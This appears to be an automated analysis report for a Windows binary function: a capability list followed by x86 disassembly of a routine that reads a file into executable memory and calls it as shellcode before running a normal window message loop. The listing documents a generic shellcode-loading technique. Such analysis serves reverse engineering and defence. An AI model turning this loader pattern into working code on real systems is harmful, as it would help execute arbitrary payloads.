Function at 0x401400
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
lea esi, [ebp - 0x20]
mov dword [ebp - 0x48], eax
call fcn.00401140
mov eax, dword [ebp - 0x1c]
mov edi, 0x10
cmp dword [ebp - 8], edi
jae 0x401431
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401481
lea esi, [ebp - 0x3c]
call fcn.004010b0
lea ecx, [ebp - 0x20]
push ecx
mov ecx, esi
call fcn.004011d0
add esp, 4
test al, al
jne 0x401478
push 0
push 0x4032a0
push 0x4032a8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x40165d
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 8], edi
jae 0x40148c
lea eax, [ebp - 0x1c]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
cmp esi, 0xffffffff
jne 0x4014c5
push 0x4032a0
push 0x4032b8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40165d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014ec
push 0
push 0x4032a0
push 0x4032c8
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401656
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x44], ebx
push 0
test ebx, ebx
jne 0x40151d
push 0x4032a0
push 0x4032dc
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401656
lea edx, [ebp - 0x40]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401634
cmp dword [ebp - 0x40], edi
jne 0x401634
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x44]
call eax
popal
mov eax, dword [ebp - 0x44]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0x48]
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x405448
push 0x67
push esi
call edi
push 0x64
push 0x405380
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401680
mov ecx, dword [ebp + 0x14]
push ecx
mov eax, esi
call fcn.00401710
add esp, 4
test eax, eax
jne 0x4015b2
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401bbc
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea edx, [ebp - 0x64]
push edx
mov esi, eax
call edi
test eax, eax
je 0x401613
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorW]
lea esp, [esp]
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x64]
push eax
push esi
push ecx
call ebx
test eax, eax
jne 0x401603
lea edx, [ebp - 0x64]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea ecx, [ebp - 0x64]
push ecx
call edi
test eax, eax
jne 0x4015e0
mov esi, dword [ebp - 0x5c]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401bbc
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x4032a0
push 0x4032ec
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00401bbc
mov esp, ebp
pop ebp
ret 0x10